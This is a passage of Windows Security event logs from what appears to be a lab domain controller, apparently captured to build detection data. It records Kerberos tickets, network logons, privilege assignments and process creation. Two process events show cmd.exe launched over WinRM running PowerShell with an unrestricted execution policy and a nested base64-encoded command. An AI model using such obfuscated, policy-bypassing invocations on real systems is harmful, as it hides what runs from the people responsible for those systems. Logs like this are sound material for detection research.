MAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249909
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFF30

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf28
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x958
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249908
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF0185

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249907
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xF0185
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{55BFCD2D-77D7-064B-DC5C-59DE2949546C}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249906
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{55BFCD2D-77D7-064B-DC5C-59DE2949546C}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=249905
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{55BFCD2D-77D7-064B-DC5C-59DE2949546C}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=249904
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249903
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFF30

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf44
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x958
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=249902
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFF30

Process Information:
	New Process ID:		0x958
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249901
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFF30

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249900
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFF30
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{55BFCD2D-77D7-064B-DC5C-59DE2949546C}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249899
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{55BFCD2D-77D7-064B-DC5C-59DE2949546C}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=249898
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{55BFCD2D-77D7-064B-DC5C-59DE2949546C}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=249897
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249896
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFEF8

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249895
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEC41D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249894
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEC66D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249893
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFEF8

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249892
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0xEFEF8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{55BFCD2D-77D7-064B-DC5C-59DE2949546C}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249891
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{55BFCD2D-77D7-064B-DC5C-59DE2949546C}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=249890
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{55BFCD2D-77D7-064B-DC5C-59DE2949546C}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
